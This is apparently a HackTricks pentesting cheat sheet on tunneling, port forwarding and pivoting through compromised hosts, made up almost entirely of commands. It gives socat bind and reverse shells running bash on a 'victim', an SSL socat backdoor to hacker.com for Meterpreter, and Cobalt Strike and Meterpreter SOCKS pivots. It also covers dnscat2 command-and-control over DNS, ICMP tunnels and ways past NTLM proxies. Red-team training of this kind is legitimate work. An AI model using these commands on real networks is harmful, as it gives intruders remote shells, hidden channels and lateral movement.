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Tunneling and Port Forwarding

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
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Nmap tip

{% hint style="warning" %} ICMP and SYN scans cannot be tunnelled through socks proxies, so we must disable ping discovery (-Pn) and specify TCP scans (-sT) for this to work. {% endhint %}

Bash

Host -> Jump -> InternalA -> InternalB

# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe

# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
exec 3<>/dev/tcp/internalB/5985
exec 4<>/dev/tcp/Jump/3333
cat <&3 >&4 &
cat <&4 >&3 &

# From the host, you can now access InternalB from the Jump server
evil-winrm -u username -i Jump

SSH

SSH graphical connection (X)

ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X

Local Port2Port

Open new Port in SSH Server --> Other port

ssh -R 0.0.0.0:10521:127.0.0.1:1521 [email protected] #Local port 1521 accessible in port 10521 from everywhere
ssh -R 0.0.0.0:10521:10.0.0.1:1521 [email protected] #Remote port 1521 accessible in port 10521 from everywhere

Port2Port

Local port --> Compromised host (SSH) --> Third_box:Port

ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f]  #This way the terminal is still in your host 
#Example
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>

Port2hostnet (proxychains)

Local Port --> Compromised host (SSH) --> Wherever

ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)

Reverse Port Forwarding

This is useful to get reverse shells from internal hosts through a DMZ to your host:

ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 [email protected] -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
# Note that port 443 must be open
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems 
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)

VPN-Tunnel

You need root in both devices (as you are going to create new interfaces) and the sshd config has to allow root login:
PermitRootLogin yes
PermitTunnel yes

ssh root@server -w any:any #This will create Tun interfaces in both devices
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ifconfig tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ifconfig tun0 up #Activate the server side network interface

Enable forwarding on the Server side

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE

Set a new route on the client side

route add -net 10.0.0.0/16 gw 1.1.1.1

SSHUTTLE

You can tunnel via ssh all the traffic to a subnetwork through a host.
For example, forwarding all the traffic going to 10.10.10.0/24

pip install sshuttle
sshuttle -r user@host 10.10.10.10/24

Connect with a private key

sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode

Meterpreter

Port2Port

Local port --> Compromised host (active session) --> Third_box:Port

# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>

SOCKS

background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains

Another way:

background #meterpreter session
use post/multi/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
set NETMASK <Netmask>
run
use auxiliary/server/socks_proxy
set VERSION 4a
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains

Cobalt Strike

SOCKS proxy

Open a port in the teamserver listening in all the interfaces that can be used to route the traffic through the beacon.

beacon> socks 1080
[+] started SOCKS4a server on: 1080

# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25

rPort2Port

{% hint style="warning" %} In this case, the port is opened in the beacon host, not in the Team Server and the traffic is sent to the Team Server and from there to the indicated host:port {% endhint %}

rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]

To note:

  • Beacon's reverse port forward is designed to tunnel traffic to the Team Server, not for relaying between individual machines.
  • Traffic is tunneled within Beacon's C2 traffic, including P2P links.
  • Admin privileges are not required to create reverse port forwards on high ports.

rPort2Port local

{% hint style="warning" %} In this case, the port is opened in the beacon host, not in the Team Server and the traffic is sent to the Cobalt Strike client (not to the Team Server) and from there to the indicated host:port {% endhint %}

rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]

reGeorg

https://github.com/sensepost/reGeorg

You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp

python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp

Chisel

You can download it from the releases page of https://github.com/jpillora/chisel
You need to use the same version for client and server

socks

./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
#And now you can use proxychains with port 1080 (default)

./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker

Port forwarding

./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim

Rpivot

https://github.com/klsecservices/rpivot

Reverse tunnel. The tunnel is started from the victim.
A socks4 proxy is created on 127.0.0.1:1080

attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999

Pivot through NTLM proxy

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45

Socat

https://github.com/andrew-d/static-binaries

Bind shell

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337

Reverse shell

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Port2Port

socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &

Port2Port through socks

socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678

Meterpreter through SSL Socat

#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter

You can bypass a non-authenticated proxy executing this line instead of the last one in the victim's console:

OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5

https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/

SSL Socat Tunnel

/bin/sh console

Create certificates on both sides: Client and Server

# Execute these commands on both sides
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt

Remote Port2Port

Connect the local SSH port (22) to the 443 port of the attacker host

attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost 
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim

Plink.exe

It's like a console PuTTY version ( the options are very similar to an ssh client).

As this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward only locally accessible port to a port in our machine:

echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090

Windows netsh

Port2Port

You need to be a local admin (for any port)

netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444 
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444

SocksOverRDP & Proxifier

You need to have RDP access over the system.
Download:

  1. SocksOverRDP x64 Binaries - This tool uses Dynamic Virtual Channels (DVC) from the Remote Desktop Service feature of Windows. DVC is responsible for tunneling packets over the RDP connection.
  2. Proxifier Portable Binary

In your client computer load SocksOverRDP-Plugin.dll like this:

# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll

Now we can connect to the victim over RDP using mstsc.exe, and we should receive a prompt saying that the SocksOverRDP plugin is enabled, and it will listen on 127.0.0.1:1080.

Connect via RDP and upload & execute in the victim machine the SocksOverRDP-Server.exe binary:

C:\SocksOverRDP-x64> SocksOverRDP-Server.exe

Now, confirm in you machine (attacker) that the port 1080 is listening:

netstat -antb | findstr 1080

Now you can use Proxifier to proxy the traffic through that port.

Proxify Windows GUI Apps

You can make Windows GUI apps navigate through a proxy using Proxifier.
In Profile -> Proxy Servers add the IP and port of the SOCKS server.
In Profile -> Proxification Rules add the name of the program to proxify and the connections to the IPs you want to proxify.

NTLM proxy bypass

The previously mentioned tool: Rpivot
OpenVPN can also bypass it, setting these options in the configuration file:

http-proxy <proxy_ip> 8080 <file_with_creds> ntlm

Cntlm

http://cntlm.sourceforge.net/

It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.
For example that forward port 443

Username Alice 
Password P@ssw0rd 
Domain CONTOSO.COM 
Proxy 10.0.0.10:8080 
Tunnel 2222:<attackers_machine>:443

Now, if you set for example in the victim the SSH service to listen in port 443. You can connect to it through the attacker port 2222.
You could also use a meterpreter that connects to localhost:443 and the attacker is listening in port 2222.

YARP

A reverse proxy created by Microsoft. You can find it here: https://github.com/microsoft/reverse-proxy

DNS Tunneling

Iodine

https://code.kryo.se/iodine/

Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries.

attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2

The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using:

ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080

DNSCat2

Download it from here.

Establishes a C&C channel through DNS. It doesn't need root privileges.

attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com

# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353

In PowerShell

You can use dnscat2-powershell to run a dnscat2 client in powershell:

Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd

Port forwarding with dnscat

session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host

Change proxychains DNS

Proxychains intercepts gethostbyname libc call and tunnels tcp DNS request through the socks proxy. By default the DNS server that proxychains use is 4.2.2.2 (hardcoded). To change it, edit the file: /usr/lib/proxychains3/proxyresolv and change the IP. If you are in a Windows environment you could set the IP of the domain controller.

Tunnels in Go

https://github.com/hotnops/gtunnel

ICMP Tunneling

Hans

https://github.com/friedrich/hans
https://github.com/albertzak/hanstunnel

Root is needed in both systems to create tun adapters and tunnel data between them using ICMP echo requests.

./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100

ptunnel-ng

Download it from here.

# Generate it
sudo ./autogen.sh 

# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p <server_ip> -l <listen_port> -r <dest_ip> -R <dest_port>
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1

ngrok

ngrok is a tool to expose solutions to Internet in one command line.
Exposition URI are like: UID.ngrok.io

Installation

tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit

Basic usages

Documentation: https://ngrok.com/docs/getting-started/.

It is also possible to add authentication and TLS, if necessary.

Tunneling TCP

# Pointing to 0.0.0.0:4444 
./ngrok tcp 4444
# Example of resulting link: 0.tcp.ngrok.io:12345
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345

Exposing files with HTTP

./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/

Sniffing HTTP calls

Useful for XSS,SSRF,SSTI ...
Directly from stdout or in the HTTP interface http://127.0.0.1:4040.

Tunneling internal HTTP service

./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
# With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"

ngrok.yaml simple configuration example

It opens 3 tunnels:

  • 2 TCP
  • 1 HTTP with static files exposition from /tmp/httpbin/
tunnels:
  mytcp:
    addr: 4444
    proto: tcptunne
  anothertcp:
    addr: 5555
    proto: tcp
  httpstatic:
    proto: http
    addr: file:///tmp/httpbin/

Other tools to check

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